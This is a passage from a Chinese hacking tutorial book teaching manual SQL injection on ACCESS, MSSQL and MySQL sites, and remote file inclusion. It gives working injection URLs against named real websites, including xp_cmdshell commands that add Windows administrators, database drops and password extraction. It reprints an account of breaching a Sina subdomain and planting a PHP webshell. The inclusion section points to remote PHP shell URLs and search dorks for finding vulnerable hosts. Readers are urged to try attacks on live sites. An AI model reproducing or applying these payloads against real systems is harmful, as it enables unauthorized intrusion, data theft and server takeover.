http://www.xxx.com/xxx.asp?action=value。这个 value 就是一个字符,那么对于这样的
URL 我们要进行注入的话,就要输入 http://www.xxx.com/xxx.asp?action=value' and 1=1和 http://www.xxx.com/xxx.asp?action=value' and 1=2 来判断是否存在注入漏洞了。我
们要进行 注入的话 ,比如判 断当前的 数据库类 型,那就 应该 输 入 http://www.xxx.com/xxx.asp?action=value' and user>0。它和在数字型注入差不多,但是要在字符后面加上一个单引号然后在后面加上所要进行注入攻击的代码,注意的是单引号和注入攻击代码之间要有一个空格。至于为什么要这样,在第 7 章的 7.3.3 节有详细的介绍。
还有一种就是搜索型的注入,这个功能是用到了 SQL 语句中的模糊查询功能,在第 5章会有介绍。一般这个主要用来搜索的,现在很多网站都提供搜索的功能。如果要注入一个网站的搜索,那么就应该输入这样的代码“要搜索的关键字%' and 注入攻击代码”。例如,我们要注入一个网站的搜索的地方,我们选的搜索关键字为 a,那么就可以这样进行判断是否存在注入漏洞:a' and 1=1 和 a' and 1=2。有一前提是我们所要搜索的关键字 a 必须是可以搜索到信息的,你不要搞一个连网站都搜索不到的关键字就不行。更为详细的介绍可以参考第 7 章的 7.3.2 节。
在我们的 ACCESS 注入中,如果后台密码是经过了 MD5 加密,而且密码强大很大的话是破解不出来的,而且在 ACCESS 注入中得到密码一般就结束了。而在 SQL 注入中还有很多事要做,比如我们在注入的过程中暴出的管理员密码是经过 MD5 加密的,而我们又无法破解,这个时候我们直接利用 SQL 注入来修改数据库中的数据,直接把管理员的密码改掉。相关语句为: ;update 表名 set 列名=' 内容' where 条件。如果我们这里提交 http://www.xxx.com/xxx.asp?id=xx;update a dmin set passw ord='123' w here user name=
'zyh',其功能就是把 admin 表中的username 为 zyh 的密码改为 123。这样就实现了对数据库信息的修改。当然我们也可以新添加一个管理员,相关语句为:;insert into 表名 valu es (内容)-- 。如果我们这里提交 http://www.xxx.com/xxx.asp?id=xx;insert in to a dmin v alues (zyh,123)--,那么就能够往 admin 表中添加一个 username 为 zyh、password 为 123 的管理员了。
加入我们得到了一个网站的后台数据库的名称为 hack,那么我们执行;drop da tabase
hack 后,hack 数据库不覆存在了,如 http://www.xxx.com/xxx.asp?id=xx;drop da tabase
hack。
我们还可以提交在 URL 后面提交 and (sel ect @@versi on)>0 来获得数据库版本;可以提交 and db_name()>0 来获得当前数据库名;提交 and user>0 获得当前数据库用户名。
除了 user 可以返回当前数据库名外,还有几个也可以达到类似的的效果,如:
SESSION_USER、CURRENT_USER、SYSTEM_USER。
要判断当前数据库的权限,我们可以提交 http://www.xxx.com/xxx.asp?id=xx and
user>0 就可以了,如果返回值为“PUBLIC”那么当前就是 PUBLIC 权限了。要获得当前数据库名,我们可以提交 http://www.xxx.com/xxx.asp?id=xx and db_name()>0 就可以了,如果返回的值为“admin”,则当前数据库名为 admin。要判断是否支持多句查询,我们可以提交 http://www.xxx.com/xxx.asp?id=xx;declare @a int--。要判断是否支持子查询,我们可 以 输 入 http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0。
另外,MSSQL 还有很多扩展功能,下面来简单的介绍一下。利用数据库的扩展存储过程(exec master..xp_cmdshell)我们还可以做非常多的事情,利用它我们可以很快地获得一个 shell。如比如我们要查看服务器上的 C 盘的目录,那么我们使用;exec master..xp_cmd shell ' dir c:\ ' 就可以完成这个功能了,我们只需要提交 http://www.xxx.com/xxx.asp? id=xx;exec master..xp_cmdshell ' dir c:\ ' 。执行之后那么执行这条语句之后就看见
C 盘根目录下的文件和文件夹了。我们还可以利用它来加一个管理员账号,我们提交 http:
//www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'和 h ttp://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup admini
strators 123/add'。那么我就往服务器加了一个 123 的管理员了。其实我们只要在;exec master..xp_cmdshell 后加上引号和引号内写入一些 DOS 命令就都可以执行了,为了解决有一些朋友对DOS 命令的不熟悉,在光盘中我已经给大家收录了一本关于DOS 命令方面的书了。
不过在使用扩展存储过程之前,先要判断它是否存在,我们使用:SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'就可以完成了。例如 http://www.xxx.com/xxx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell',如果返回正常则说明扩展存储过程存在,返回不正常的话就说明不存在。
如果扩展存储过程不存在,我们可以使用:exec sp_addextendedproc xp_cmdshell,
'xplog70.dll'来恢复已经不存在的扩展存储过程,例如 http://www.xxx.com/xxx.asp?id= xx; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'执行之后,网站 http://www.x xx.com/后台的数据库的扩展存储过程就被恢复了。而如果要删除扩展存储过程,我们只要执行 exec sp_dropextendedproc 'xp_cmdshell'这个命令就可以完成了。
前面,我们利用了 xp_cmdshell 获得了一个 shell。其实,在 MSSQL 中还有一种方法可以获得 shell,下面给大家介绍。在 MS SQL2000 中,提供了一些函数用于访问一个叫做 OLE 的对象,通过它可以访问 OLE 控件,间接的使我们获得一个 shell。而要得到一个 shell就要使用两个关键函数,分别为“sp_OACreate”和“sp_OAMethod”。相关的 SQL 语句为: DECLARE @S INT
EXEC SP_OACREAT 'wscript.shell',@s
exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c 需要执行的 DOS 命令(如 dir c:\)'利用它我们同样可以得到一个 shell,可以执行我们的各种命令。通过 URL 提交为: http://www.xxx.com/xxx.asp?id=xx;DECLARE @S INT
EXEC SP_OACREAT 'wscript.shell',@s
exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c dir c:\'
执行的结果就是返回遍历服务器 C 盘下的所有文件,同样达到一个 shell 的功能,和上面的是不是一样呢?上面两种获得 shell 的方法虽然好,但是必须是 SA 权限才能够执行的。也就是说如果我们注入的网站的数据库不是 SA 权限的话,那么上面获得 shell 的方法都没有用了。
对于 MSSQL 下的注入我暂时就讲到这里,当然并没有完。因为考虑到大家在这里还没有接触过 MSSQL 数据库,所以对于在 MSSQL 下的一些更高级的注入技术,我会继续在第 5 章的
5.6 节中为大家介绍。
3、MySQL
PHP 与 MySQL 是黄金组合,下面就以他们来作为 MySQL 注入的平台吧。首先我们要得到存在 PHP 注入的网站了,在 google 下输入 inurl:php?id=就可以得到很多 php 的网站了。随便打开一个链接,如 http://www.shidaiguocui.com/guide_show.php?id=32。在它后面加上 and 1=1 提交,返回正常,如图 2-158 所示。提交 and 1=2 后返回错误,如图 2-159所示。
图 2-158 加and 1=1 返回正常
图 2-159 加 and 1=2 后返回错误
通过上面两个结果就可以确定该网站存在注入漏洞。但是真正影响我们注入的确不是这个 PHP 网站,而是其后台的数据库。所以接下来我们就来判断其后台数据库了,一般都是
MySQL。这里告诉大家一点,在目前的数据库系统中,只有 MySQL 数据库支持/*注释的,所以我们可以利用它来判断后台是否是 MySQL,如果不是那它就不支持这种注释了,自然就会出现错误。我们输入 http://www.shidaiguocui.com/guide_show.php?id=32/*后返回的结果如图 2-160 所示,没有出错,说明后台数据库就是 MySQL 了。
图 2-160 网站的后台数据库为 MySQL
接下来就是要判断 MySQL 数据库的版本的了,因为不同的版本对注入的结果会产生很大的影响。在 MySQL 版本 4(包括版本 4)及以上版本新增了一个联合查询查询(UNION)的功能,比如 SQL 语句 1 UNION SQL 语句 2,提交之后我们的 SQL 语句 1 和SQL 语句 2 都会被执行,通过联合查询这个字面意思也是可以理解的。正是这个功能使得 MySQL 发生 SQL 注入漏洞的危险性大大的得到提高,利用它我们可以轻易的获取数据库中其他数据表的信息。而在版本 4 以下,确不支持这个功能,而且由于 PHP 中的 mysql_query 函数限制了只能查询一个 SQL语句,即使你使用分号把多个 SQL 语句组合到一起嵌入 mysql_query 函数,实际上也只有第一个 SQL 语句被提交给 MySQL,所以那个时候 MySQL 的注入并不是特别的严重,而如今确变了。
所 以 确 定 MySQL 的 版 本 对 我 们 来 说 比 较 重 要 , 我 们 使 用 and ord(mid(version(),1,1))>51/* 就 可 以 实 现 了 。 例 如 http://www.shidaiguocui.com/guide_show.php?id=32 and
ord(mid(version(),1,1))>51/*,提交之后,如果返回正常,如图 2-161 所示,说明这个数据库版本大于 4.0,如果返回错误的话,就说明是小于 4.0 的版本了,即不支持 UNION 查询。这里用到了我们数据库中的 version()函数,它的作用是数据库的版本信息。而 ASCII 码 51代表的是 3,这里大于 3 的当然就是 4.0 以上版本了啦!
图 2-161 确定数据库版本为 4.0 以上
其实还有一种方法来确定是否是 MySQL 数据库及其版本。在 MySQL 数据库中,有一个其他数据库没有的扩展功能,它可以用/*!...*/这种注释语句来实现各版本功能的兼容。我们要判断后台数据库我们可以在 URL 后输入/*!%20s*/来确定,如果返回的页面是错误的话,那几乎可以确定网站后台数据库为 MySQL 了,如图 2-162 所示。
图 2-162 后台数据库为 MySQL
用它来确定了是 MySQL 数据库后还可以一步步来定位它的版本:如果在 URL 后输入
/*!30000%20s*/后,如果返回错误的话,说明 MySQL 的版本大于 3.0;如果在 URL 后输入
/*!40000%20s*/后,如果返回错误的话,说明数据库版本大于 4.0;如果在 URL 后输入
/*!50000%20s*/后,如果返回正确的话,说明数据库版本小于 5.0,如图 2-163 所示;我们还可以获得更加精确的版本,比如输入/*!4016%20s*/后返回正常则说明 MySQL 的版本小于
4.0.16;输入/*!4015%20s*/后返回错误页面,那么就可以确定该 MySQL 的版本为 4.0.15。
图 2-163 数据库版本小于 5.0
其实,说实话目前绝大部分的 PHP 网站的 MySQL 版本都是大于 4.0 的。至少我目前还没有见到过哪个网站是用的 3.0 版本的。这是因为 MySQL 是开源的,任何人都可以免费使用。自然只要一出新版本就会很快的淘汰旧版本,免费的又是最好的谁不用谁不喜欢呢。所以这里我讲的 MySQL 注入都是在版本 4.0 以上的。
确定版本之后我们就是要确定当前数据库的字段数目了。我们有两种办法来获得,一是通过 UNINON;二是通过order by。
先来说第一种,在利用联合查询(UNION)字段数目的时候有一些限制,就是要求前面的
SQL 语句 1 和后面的 SQL 语句 2 中的字段数要相同,否则就会出错。如果我们在不知道数据表的情况下会给我们的渗透带来一些困难,所以必须确定查询语句查询的字段数目。而我们正是可以可以利用联合查询字段数目不匹配返回错误的这个特性就可以准确的获得查询语句查询的字段数目。我们可以提交 union select 1,1,1,1 及其类似的语句。通过不断的增加 1 的个数,在结合返回信息可以迅速确定该查询语句前面查询的字段数目。我们就是不断的增加 1,然后根据返回的结果。如果当我们提交到一个 1 的时候,返回的页面是正确的,那么第一个 SQL 语句 1 中的字段数目就是 union 后多少个 1 的数目。
更为方便的我们可以使用第二种方法,利用 order by 来猜解数据表中的字段数。利用 order by 后加数字,MySQL 会解释成按照第几列排序,如果查询没有我们提交的数字的那么多页就会返回错误。例如我们提交 http://www.shidaiguocui.com/guide_show.php?id=32 order by 10 后返回正常,这个时候说明数据表中的字段数大于 5;当我提交 order by 13时返回正常,如图 2-164 所示,而当提交 order by 14 时,如图 2-165 所示,却返回错误,
这就说明数据表的字段为 13 个。
图 2-164 提交 13 个字段时返回正常
图 2-165 提交 14 个字段时返回错误
知道了字段数之后,我们就可以利用 union 查询来获得当前数据库的表名。利用方法是 “union select 字段数 from 表名”,中间的字段数大家要注意了,它是这样表示的:假如有三个字段,那么就应该这样:1,2,3。例如刚才的那个网站,我们要获得网站数据库的表名,例如提交 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin 后,就变成了 http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin。返回结果是正常的,说明 admin 这个表名存在,而且在页面中还有一些数字,如图 2-166 所示。如果不存在就会返回错误页面。如果要猜解其他的表名,我们只需要不断的该表名就可以了,和前面的 ACCESS 注入中差不多了。
图 2-166 返回的信息
在图 2-166 中的信息中,我们得到了几个数字,他们分别是 2、3、4、5、7、9、10 这几个数字。他们的作用就是分别就是代表的第几个字段,而且我们可以用其他的函数或字符代替这些字段。例如我们要查看数据库版本时用到的是 version()函数,只要将 version()放在上面几个字段中的任何一个就可以得到当前的数据库版本, 例如提交 http://www.shidaiguocui.com/guide_show.php?id=32 union select 1, version(),3,4,5,6,7,8,9,10,11,12,13 from admin 那么就会在第 2 个字段处出现数据库版本的信息;例如我们提交 http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from admin 后就可以看到当前管理员的用 户 名 , 如 图 2-167 所 示 ; 而 当 我 们 提 交 http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin 后就暴出了当前管理员的密码,如图
2-168 所示。
图 2-167 暴出管理员用户名
图 2-168 暴出管理员密码
上面我们成功的暴出了管理员的密码,当然上面暴出的只是 admin 表中的第一条记录,因为在默认的情况下它是取第一条记录。而如果我们要取 admin 表中的其他记录呢?比如第二条。不过要实现读取其他记录,我们首先要得到表中能够唯一识别改记录的字段。如在我们实际生活中可以用身份证号码来识别每一个人,而在数据库也要有这么一个字段,在数据库中我们称其为主键,在第 5 章中有详细介绍。一般来说程序员在做数据库的时候都是用 id 这个字段名来作为主键。这里我们假设 id 就是主键,那么我们要取得 admin 表中的第二条纪录的信息就应该提交 http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin where id=2 就可以得到第二条记录的信息,也就是在后面加上 where id=数字。而这个数字就是管理员的编号,它是唯一的。
这个查询其他记录的功能非常的有用,我们也知道现在几乎所有的网站的密码都是经过了 MD5 加密,如果那个密码设置的很变态的话,我们是很难破解的。不能被破解,系统又没有如 cookie 欺骗之类的漏洞,那么我们得到了加密后的密码也是没有用。而我们查询其他的记录,那么就很有可能其他的记录的密码不是很强壮,破解的几率就很大。
前面在介绍 PHP 注入工具的时候,就提到了 load_file()这个函数,利用它我们可以轻易的读取到服务器上的内容。不过要使用这个函数,当前数据库的权限必须为 root(和 SA是一样的,只不过这里不叫 SA,叫root,其实也是超级管理员)。所以我们要使用 load_fi
le()函数,首先要判断是否是 root 权限,使用 and ord(mid(user(),1,1))=114/*就可以完成了。例如输入 http://www.shidaiguocui.com/guide_show.php?id=32 and ord(mid(user (),1,1))=114/*后,如果返回正确的话,则说明是 root 权限,而错误的话就不是 root 权限了,如图 2-164 所示。
图 2-169 数据库的权限不是 root
我们还可以利用 and (select count(*) from MySQL.user)>0 来判断是否具有文件读写的权限,同样可以实现文件的读取。
前面我们在得到存在的数据表以后,返回的信息有很多的数字,如图 2-166。我也提到
了可以用函数来代替他们。如果我们发现一个网站可以执行 load_file()函数的话,也可以往这些字段中写入 load_file()函数,以读取服务器上的信息。
我还是以上面的网站为例子,而且 MySQL 是具有 root 权限的,可以利用 load_file()读取文件。不过这里我假设这个网站是用的 windows 操作系统,那么我要读取 c:/boot.ini文件中的信息,我们可以提交 http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,load_file(0x633A2F626F6F742E696E69),3,4,5,6,7,8,9,10,11,12,13 from
admin 就可以读取 c:/boot.ini 中的信息了,有的人会问在上面中没有 c:/boot.ini 啊?其实 0x633A2F626F6F742E696E69 就是 c:/boot.ini 的十六进制表示。这里把它改成十六进制是为了防止我们提交的数据被 PHP 给转义掉,例如提交'时被转义为\'。被转义后我们提交的数据就会是一个错误的了,自然结果也是错误的,而十六进制可以避免这个情况的发生。
上面我简单的介绍了下在 MySQL 数据库环境下怎么通过手工注入得到网站管理员密码以及怎么执行一些特殊的函数(如 load_file)来达到我们攻击的目的。其实 MySQL 下还有一些高级的黑客技术,但是在这里我暂时不讲了。因为涉及到了很多 MySQL 系统和 PHP 的知识,而在这里大家还没有学 PHP 和 MySQL。所以其他的高级技巧我会在第 5 章的 5.7 节和第 10章中来给大家介绍,目的就是让大家有了那些基础知识之后能够更加深刻的理解这些高级黑客技术。如果放在这里肯定有很多人看不懂,势必会影响大家的学习热情。好了,上面讲了那么多,大家也可以去网上找几个站来做做试验了。
有一篇文章非常值得大家学习,是由剑心写的《对 sina.com.cn 的一次安全检测》。很适合刚刚学会 PHP 手工注入的新手借鉴,文章内容如下所示:
最近学习了一些简单的 Mysql 注入知识,也对 Php 下的注入有了一定的了解,就想找个机会检验下自己的学习成果,顺便把学习到的知识做个总结,于是上网想找几个目标来实习下!看了那么多的牛人对 163.com 做安全检测,我想那就试试可以跟 163.com 齐名的另一个网站新浪网,看看它的安全性如何吧。
要想最快地找到网站的系统漏洞就要用扫描,要想最快地找到脚本方面的漏洞就应该用 Google 了。我在 Google 里这样搜索:php?id= site:sina.com.cn,这句话的意思是在 sina.com.cn 中找寻链接有 php?id=这样的信息,因为 Php 注入的特性(Php 默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),所以我们主要找 id=这样的地方,很有可能就是传递整型数字变量的地方。点搜索之后就要看看运气了,嘿嘿,还真让我找到一个哦。 XX.sina.com.cn 是新浪的一个分站,我看到里面有很多形如 php?id=的地方,这些就是潜在的可能出问题之处。先看看 http://XX.sina.com.cn/course/coursedetail.php?id=1122这个链接,加上 and 1=1 提交,正常返回,如图 2-170 所示。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2
返回信息如图 2-171 所示,在下面还暴出了路径。
图 2-170 添加 and 1=1 后返回正常
图 2-171 添加 and 1=2 后返回错误并暴出了路径
通过基本分析可以知道,这的确是个注入点,因为我们的 1=1 和 1=2 被当成代码执行了,那么就是存在漏洞了。如果参数没有其它过滤的话(我发现很多的注入点其实都被过滤了
select 和 union 等关键字,在 mysql 中等于是个鸡肋漏洞)我们就可能注入这个网站啦!继续吧,看看是什么数据库!猜测就知道应该是 php+mysql 的,但是还是用事实说话吧!提交:
http://XX.sina.com.cn/course/coursedetail.phpid=1122/*jnclovesw
正常返回,如图 2-172 所示,事实证明这的确是 mysql 服务器,因为数据库里支持/*注释的好像差不多就是 Mysql 啦!
图 2-172 确定后台数据库为 MySQL知道是什么数据库了,那就继续看看数据库的信息吧。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and ord(mid(version(),1,1))>51/*
正常返回,图 2-173 所示。哈哈,看来这个数据库版本是大于 4.0 的啦!Ascii 码 51 代表
的是 3,这里大于 3 的当然就是 4.0 以上版本啦!
图 2-173 确定 MySQL 的版本为 4.0 以上看看是不是 root 吧!提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and ord(mid(user(),1,1))=114/*
这是看 user 的第一个字母是不是 r,返回信息如图 2-174 所示,看来不是 root,不能 load_file()啦!由上面路径信息知道,这个机器应该是 Linux 的,为了验证下,我们还是提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and length(load_file(0x2F6574632F706173737764))>0/*
返回信息如图2-175 所示,看来真的没有file 权限啦,也就不用判断是不是一台web 和Mysql服务器了,很可惜,不过我们还是继续 injection 吧!
图 2-174 当前权限不是 root
图 2-175 不能读取文件
在进一步注入之前,我们还是来看看能不能找到后台吧。因为如果辛苦注入的结果是没有后台可以登录,通常能把人郁闷死!去同目录下加个 admin/回车,显示没有找到页面,
换成 manage 等也没有。去根目录加个/admin,哗的一下,登录页面出现了,如图 2-176 所示。嘿嘿,注入有望啦!其实找到登录的后台还有个作用,因为注入过程中是需要猜表和字段的,但是程序通常在登录的地方和数据库中用一个变量名,所以看看登录的字段就可以很快地猜测数据库中的字段啦!我们查看源文件,发现登录的用户名是 username,密码是
password,这也给了我们另外一个信息,数据库的表很有可能是 user 或者 admin 这些。凭什么?凭直觉啦!赶快去试试吧!
图 2-176 管理员后台登陆页面
因为是 4.0 以上的数据库,所以我们不需要一位一位地猜测字段内容,可以一下子将结果 Union 到网页上来的!先看看有多少字段吧!手工加 union 然后一直加太麻烦,提交: http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 10/*
正常返回,说明字段大于 10 个;提交: http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 20/*.......... 到 40 的时候出错了,说明字段在 30 和 40 之间。那么就测试 35 试试,最后确定字段数是 33。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 33/* 正常返回了,哈哈!然后再提交: http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3
0,31,32,33/*
返回结果如图 2-177 所示,看来果然是支持 Union 的,并且好多字段都是字符类型的,还在页面有显示的哦!提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33/*,
看看返回的结果,就可以在 7 和 8 出现的地方找到用户名和版本啦!继续我们的注入,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33 from users/*返回错误,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33 from admin/*
正常返回,说明是存在 admin 这个表的,如图 2-178 所示。结合上面猜测到的字段,提交: http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,17,18,19,20,21, 22,23,24,25,26,27,28,29,30,31,32,33 from admin/*
返回结果如图 2-179 所示,看到原来 15、16 的地方变成了用户名和密码了,密码加密了哦!去 md5 的破解网站搜索下,失败了,找不到密码,看来密码够强壮的啊!破解不出密码还是没用的,试试把中文的用户名作为密码登录,然后再拆分登录,还是不行,简单的社会工程学失败了!
图 2-177 返回好多可用的字段
图 2-178 得到用户名和版本
图 2-179 暴出管理员密码
分析一下,我们提交的这个 union 查询是查询出 admin 的第一条记录的,因为我们没有做任何的限制条件,既然第一个记录的密码破解不出来,那么其他的记录很可能被破出来哦!
用户越多,弱口令的可能性越大。提交: http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select 1,2,3,4,5,6,user(),versin(),9,10,11,12,13,14,username,password,id,18,19,20,21,2 2,23,24,25,26,27,28,29,30,31,32,33 from admin/*
发现没有暴错,并且原来 17 的位置是 3,说明 id 这个字段是存在的,并且是从 3 开始的,那么一切就简单了。提交: http://XX.sina.com.cn/course/coursedetail.php?id=1122%20and%201=2%20union%20sel ect%201,2,3,4,5,6,user(),version(),9,10,11,12,13,14,username,password,id,18,19, 20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20admin%20where%20id>3/*
这条语句是给查询语句加上限制条件,出来结果如图 2-180 所示。哈哈,又出来一个用户名和密码了吧!拿它的密码去破解一下,发现是 123123,太好了,果然是个弱口令,如果这个不行的话,我们可以接着往下找弱口令用户,一定会存在的哦!
图 2-180 暴出其他管理员密码
剩下的就好办了。去后台用得到的用户名和密码登录成功,如图 2-181 所示。后台还真有不少功能。一个学校图片管理的地方吸引了我,赶紧去看看,发现是有上传的。选择一个
php 后门上传试试,晕!居然没有提示任何错误,去图片管理查看新上传的图片属性就得到我们的后门地址了,如图 2-182 所示。至此,对 sina 关于脚本的小小安全检测结束了,由于管理员小小的疏忽导致我们成功地拿到 webshell。后台可以更改所有人的密码以及一些新站的域名信息哦,我不敢动,怕怕!
图 2-181 成功进入后台
图 2-182 通过图片上传木马得到 webshell
很多系统往往就是因为一个参数没有过滤而导致被人攻陷的,服务器在某些地方倒是做了过滤,不过还是被我发现了一个缺少过滤的参数,呵呵,就算是一次练手吧!文章很简单,
有什么问题欢迎到 NoHack 论坛或者 BCT 讨论,我的 ID 是剑心大人。
编辑点评:
相信看了这篇文章,大家就会知道攻破一个大的门户网站也不是件难事。剑心入侵了 sina的一个分站,在文章里说不过是新学了一点 php 注入技术练手,这是一种很好的 hack 心态。如果你要去检测一个网站,在没有动手之前就想人家的站如何大如何有名气,肯定安全,那我估计你的技术也只能发挥出一半水平了。黑客入侵是一种竞技,心态很重要。
文件包含漏洞
在这一节为大家讲授大名鼎鼎的文件包含漏洞,相信经常关注脚本攻击的朋友应该听过甚至玩过这个漏洞。目前利用远程文件包含漏洞来入侵网站是国外目前使用最为普遍的一种入侵方式,对于菜鸟来说也是一种非常容易掌握的入侵方式。
那么,远程文件包含漏洞到底是什么呢?简单的说,远程文件包含漏洞就是因为 PHP文件中的变量过滤不严,没有判断提交的参数是本地的还是远程主机上的,因此我们可以指定远程主机上的文件作为参数来提交给变量执行,而如果提交的这个文件中存在恶意代码甚至干脆就是一个 php 木马的话,文件中的代码或 php 木马就会以 WEB 权限被成功执行。因为这个漏洞是 PHP 文件中的变量过滤,所以这个漏洞也只有 PHP 系统中存在,这个常识问题大家要清楚哦!
对于大部分人来说,要利用文件包含漏洞进行入侵的过程为:首先根据网上公布的漏洞的资料,在漏洞的公布上,我给大家推荐 http://www.milw0rm.com/这个网站,这个网站是专门用于漏洞的,而我们要所的文件包含漏洞自然有很多,可以找到我们需要的文件包含漏洞。如图 2-183 所示。
图 2-183 漏洞公布网站 milw0rm
有了漏洞资料后,我们就是要找到存在这个的网站了,我们可以使用 google hack 技术来获得使用这个系统的网站。然后使用包含有恶意代码的文件或是 php 木马进行入侵,如果入侵成功的话,寻找对方站点内有写权限的目录,上传 php 木马获取 webshell。如果想进一步入侵的话,还可以上传本地溢出程序,尝试获取对方系统的 root 权限,安装木马等等,从而最终完全这个网站的服务器。
在这一节中,我就先教大家如何利用文件包含漏洞来进行网站的入侵,使大家可以达到利用漏洞公告及 exploit 来入侵网站的目的。至于为什么会出现这个漏洞,已经怎么在程序
中寻找这个漏洞,我会在第 10 章中为大家详细的介绍。这里给大家解释一下 exploit:它是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取网站用户资料文档、添加自定义用户、甚至侵入网站获得管理员权限控制整个网站的最终目的。更为通俗的说就是一个漏洞的攻击程序,利用它我们就可以达到攻击的目的,从而获得相应的权限。
这里还要提醒大家一点,虽然前面我们搭建 PHP 环境的时候用的是 windows 系统。但是在实际中,PHP 网站大部分是架构在 Linux 或 Unix 操作系统下的。所以我们在进入文件包含漏洞攻击的时候,经常会用到一些 Linux 或 Unix 命令和其他知识,不过对于用到的知识我都详细的给大家解释,这点不必担心。这里为了大家方便学习,在光盘中,我已经为大家准备了《LINUX 系统命令应用知识书籍》这个电子书,里面收录了大部分的 linux 命令,很适合大家在入侵的时候用。如果大家想系统性的学习 Linux 的话,可以去买如《红帽 Linux9从入门到精通》这本书,而 liunx 下的黑客书我向大家推荐由我的好朋友姜超写的《黑客 Linux 入门》,该书讲述了很多 Linux 下的黑客技术。
下面就开始我们的文件包含漏洞的攻击之路吧。首先我们要在网站 milw0rm 中得到一些存在文件包含漏洞的信息,当然你也可以通过途径得到网站漏洞的资料。因为在 milw0rm中存在很多的漏洞信息,所以这里给大家提供一个小技巧。该网站在首页中提供了一个 “search”的功能,点击进入后我们搜索关键字“File Include”就可以找到所有文件包含漏洞的资料,如图 2-184 所示。
图 2-184 存在文件包含漏洞的所有信息
这里我用 AFGB GUESTBOOK 2.2 (Htmls)远程文件包含漏洞为例来详细的看看利用过程,其实大部分的文件包含漏洞利用的过程都差不多,而且 milw0rm 所公开的文件包含漏洞的信息中都已经提供了 ExPloit 和攻击方法。我们只要按照它的方法就可以顺利的完成攻击了。 AFGB GUESTBOOK 2.2 是由台湾人开发的一套 PHP 留言版系统。如图 2-185 所示,这是 milw0rm对 AFGB GUESTBOOK 2.2 (Htmls)远程文件包含漏洞的利用方法及 ExPloit。
图 2-185 Net_DNS <= 0.3 漏洞的攻击方法
按照图 2-185 中的说明出问题的文件是 add.php?、admin.php?、look.php?、re.php。而且已经给了出了攻击的例子了,这里为了大家方便把它写出来,为: http://www.target.***/[path]/add.php?Htmls=http://shell.txt? http://www.target.***/[path]/admin.php?Htmls=http://shell.txt? http://www.target.***/[path]/look.php?Htmls=http://shell.txt?
http://www.target.***/[path]/re.php?Htmls=http://shell.txt?
这里的 http://www.target.***/[path]/就是我们要攻击的网站的 URL 地址。而 add.php?、
admin.php?、look.php?、re.php 就是出现文件包含漏洞的文件,而 Htmls 就是文件中接收数据的参数,正是由于这个参数才使得文件包含漏洞出现了。http://自己的网站/shell.txt?就是要我们所提交的数据,其实就是一个 PHP 木马的地址。这个地址可以用我们自己的,也可以用网络上一些为大家准备好的地址。对于大部分来说,都是没有自己的木马地址。所以这里为了和大家保持一致我也使用网络上的地址。
目 前 这 样 的 PHP 木 马 地 址 , 国 内 的 有 http://www.sagi.net.cn/php.txt; 国 外 的 有 http://hack-viyu.h16.ru/shell/r57shell.txt 和
http://pang0.by.ru/shall/pang057.zz。
根据上面所提供的信息,我们接下来就是要查找使用这套系统的网站了。通过我的搜索发现,只要我们输入“inurl:afgb.php?A=”或者“程式设计:过往云烟[V2.2]”就找到非常多的使用这个系统的网站,例如我搜索 inurl:afgb.php?A=就可以得到 99900 条记录,如图 2-186 所示。
图 2-186 搜索到使用 AFGB GUESTBOOK 系统的网站
有了网站之后就是利用往网站里写入 PHP 木马了,整个利用过程非常的简单。根据上面的提示,我们只需要在参数 Htmls 后填上我们的 PHP 木马地址就行了。例如我们要获得
http://rapworld.iglu.cz/guest/的 webshell,如图 2-187 所示。
图 2-187 使用 AFGB GUESTBOOK 系统的网站
